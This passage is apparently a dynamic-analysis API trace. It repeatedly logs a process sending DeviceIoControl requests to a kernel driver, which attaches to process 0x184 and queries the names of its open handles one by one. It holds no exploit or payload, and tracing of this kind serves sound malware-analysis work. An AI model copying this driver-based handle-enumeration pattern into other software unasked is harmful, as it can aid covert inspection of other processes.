Object=0xfffff88005590548*=0xfffff8a001f6b4f0, HandleInformation=0x0) returned 0x0 [0112.896] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.896] PsReleaseProcessExitSynchronization () returned 0x2 [0112.896] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.896] ObQueryNameString (in: Object=0xfffff8a001f6b4f0, ObjectNameInfo=0xfffffa8001fa97c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa97c4, ReturnLength=0xfffff88005590550) returned 0x0 [0112.896] ObfDereferenceObject (Object=0xfffff8a001f6b4f0) returned 0x1 [0112.896] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.896] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.896] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.896] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.896] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.896] PsAcquireProcessExitSynchronization () returned 0x0 [0112.896] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.896] ObReferenceObjectByHandle (in: Handle=0x3dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001fc79f0, HandleInformation=0x0) returned 0x0 [0112.896] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.896] PsReleaseProcessExitSynchronization () returned 0x2 [0112.896] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.896] ObQueryNameString (in: Object=0xfffff8a001fc79f0, ObjectNameInfo=0xfffffa80037ab044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037ab044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.896] ObfDereferenceObject (Object=0xfffff8a001fc79f0) returned 0x1 [0112.897] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.897] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.897] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.897] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.897] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.897] PsAcquireProcessExitSynchronization () returned 0x0 [0112.897] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.897] ObReferenceObjectByHandle (in: Handle=0x3ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001fb78d0, HandleInformation=0x0) returned 0x0 [0112.897] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.897] PsReleaseProcessExitSynchronization () returned 0x2 [0112.897] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.897] ObQueryNameString (in: Object=0xfffff8a001fb78d0, ObjectNameInfo=0xfffffa800392e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800392e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0112.897] ObfDereferenceObject (Object=0xfffff8a001fb78d0) returned 0x1 [0112.897] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.897] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.897] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.897] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.897] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.897] PsAcquireProcessExitSynchronization () returned 0x0 [0112.897] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.897] ObReferenceObjectByHandle (in: Handle=0x3fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001faea00, HandleInformation=0x0) returned 0x0 [0112.897] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.897] PsReleaseProcessExitSynchronization () returned 0x2 [0112.897] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.897] ObQueryNameString (in: Object=0xfffff8a001faea00, ObjectNameInfo=0xfffffa800254e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0112.897] ObfDereferenceObject (Object=0xfffff8a001faea00) returned 0x1 [0112.897] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.897] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.898] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.898] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.898] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.898] PsAcquireProcessExitSynchronization () returned 0x0 [0112.898] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.898] ObReferenceObjectByHandle (in: Handle=0x410, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00202e5c0, HandleInformation=0x0) returned 0x0 [0112.898] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.898] PsReleaseProcessExitSynchronization () returned 0x2 [0112.898] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.898] ObQueryNameString (in: Object=0xfffff8a00202e5c0, ObjectNameInfo=0xfffffa80037aa7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037aa7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0112.898] ObfDereferenceObject (Object=0xfffff8a00202e5c0) returned 0x1 [0112.898] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.898] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.898] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.898] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.898] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.898] PsAcquireProcessExitSynchronization () returned 0x0 [0112.898] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.898] ObReferenceObjectByHandle (in: Handle=0x420, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001efae00, HandleInformation=0x0) returned 0x0 [0112.898] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.898] PsReleaseProcessExitSynchronization () returned 0x2 [0112.898] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.898] ObQueryNameString (in: Object=0xfffff8a001efae00, ObjectNameInfo=0xfffffa800207b7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800207b7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0112.898] ObfDereferenceObject (Object=0xfffff8a001efae00) returned 0x1 [0112.898] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.898] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.898] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.898] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.898] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.898] PsAcquireProcessExitSynchronization () returned 0x0 [0112.898] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.899] ObReferenceObjectByHandle (in: Handle=0x430, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001ffee10, HandleInformation=0x0) returned 0x0 [0112.899] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.899] PsReleaseProcessExitSynchronization () returned 0x2 [0112.899] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.899] ObQueryNameString (in: Object=0xfffff8a001ffee10, ObjectNameInfo=0xfffffa8001fa37c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa37c4, ReturnLength=0xfffff88005590550) returned 0x0 [0112.899] ObfDereferenceObject (Object=0xfffff8a001ffee10) returned 0x1 [0112.899] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.899] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.899] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.899] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.899] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.899] PsAcquireProcessExitSynchronization () returned 0x0 [0112.899] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.899] ObReferenceObjectByHandle (in: Handle=0x440, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0020161d0, HandleInformation=0x0) returned 0x0 [0112.899] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.899] PsReleaseProcessExitSynchronization () returned 0x2 [0112.899] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.899] ObQueryNameString (in: Object=0xfffff8a0020161d0, ObjectNameInfo=0xfffffa800250d7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800250d7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0112.899] ObfDereferenceObject (Object=0xfffff8a0020161d0) returned 0x1 [0112.899] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.899] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.899] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.899] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.899] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.899] PsAcquireProcessExitSynchronization () returned 0x0 [0112.899] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.899] ObReferenceObjectByHandle (in: Handle=0x450, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001feb740, HandleInformation=0x0) returned 0x0 [0112.899] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.899] PsReleaseProcessExitSynchronization () returned 0x2 [0112.899] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.899] ObQueryNameString (in: Object=0xfffff8a001feb740, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.899] ObfDereferenceObject (Object=0xfffff8a001feb740) returned 0x1 [0112.899] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.900] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.900] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.900] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.900] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.900] PsAcquireProcessExitSynchronization () returned 0x0 [0112.900] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.900] ObReferenceObjectByHandle (in: Handle=0x460, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001b713e0, HandleInformation=0x0) returned 0x0 [0112.900] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.900] PsReleaseProcessExitSynchronization () returned 0x2 [0112.900] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.900] ObQueryNameString (in: Object=0xfffff8a001b713e0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.900] ObfDereferenceObject (Object=0xfffff8a001b713e0) returned 0x1 [0112.900] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.900] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.900] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.900] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.900] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.900] PsAcquireProcessExitSynchronization () returned 0x0 [0112.900] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.900] ObReferenceObjectByHandle (in: Handle=0x470, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001fab170, HandleInformation=0x0) returned 0x0 [0112.900] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.900] PsReleaseProcessExitSynchronization () returned 0x2 [0112.900] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.900] ObQueryNameString (in: Object=0xfffff8a001fab170, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.900] ObfDereferenceObject (Object=0xfffff8a001fab170) returned 0x1 [0112.900] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.900] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.900] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.900] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.900] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.900] PsAcquireProcessExitSynchronization () returned 0x0 [0112.900] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.900] ObReferenceObjectByHandle (in: Handle=0x480, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001cb0690, HandleInformation=0x0) returned 0x0 [0112.901] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.901] PsReleaseProcessExitSynchronization () returned 0x2 [0112.901] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.901] ObQueryNameString (in: Object=0xfffff8a001cb0690, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.901] ObfDereferenceObject (Object=0xfffff8a001cb0690) returned 0x1 [0112.901] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.901] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.901] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.901] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.901] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.901] PsAcquireProcessExitSynchronization () returned 0x0 [0112.901] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.901] ObReferenceObjectByHandle (in: Handle=0x490, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001f9f600, HandleInformation=0x0) returned 0x0 [0112.901] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.901] PsReleaseProcessExitSynchronization () returned 0x2 [0112.901] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.901] ObQueryNameString (in: Object=0xfffff8a001f9f600, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.901] ObfDereferenceObject (Object=0xfffff8a001f9f600) returned 0x1 [0112.901] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.901] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.901] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.901] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.901] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.901] PsAcquireProcessExitSynchronization () returned 0x0 [0112.901] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.901] ObReferenceObjectByHandle (in: Handle=0x4a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a002039e50, HandleInformation=0x0) returned 0x0 [0112.901] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.901] PsReleaseProcessExitSynchronization () returned 0x2 [0112.901] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.901] ObQueryNameString (in: Object=0xfffff8a002039e50, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.901] ObfDereferenceObject (Object=0xfffff8a002039e50) returned 0x1 [0112.901] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.902] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.902] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.902] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.902] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.902] PsAcquireProcessExitSynchronization () returned 0x0 [0112.902] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.902] ObReferenceObjectByHandle (in: Handle=0x4b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001fa75a0, HandleInformation=0x0) returned 0x0 [0112.902] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.902] PsReleaseProcessExitSynchronization () returned 0x2 [0112.902] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.902] ObQueryNameString (in: Object=0xfffff8a001fa75a0, ObjectNameInfo=0xfffffa800201d044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800201d044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.902] ObfDereferenceObject (Object=0xfffff8a001fa75a0) returned 0x1 [0112.902] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.902] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.902] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.902] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.902] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.902] PsAcquireProcessExitSynchronization () returned 0x0 [0112.902] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.902] ObReferenceObjectByHandle (in: Handle=0x4c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a002046630, HandleInformation=0x0) returned 0x0 [0112.902] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.902] PsReleaseProcessExitSynchronization () returned 0x2 [0112.902] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.902] ObQueryNameString (in: Object=0xfffff8a002046630, ObjectNameInfo=0xfffffa80020da044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020da044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.902] ObfDereferenceObject (Object=0xfffff8a002046630) returned 0x1 [0112.902] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.902] HeapFree (in: hHeap=0x270000, 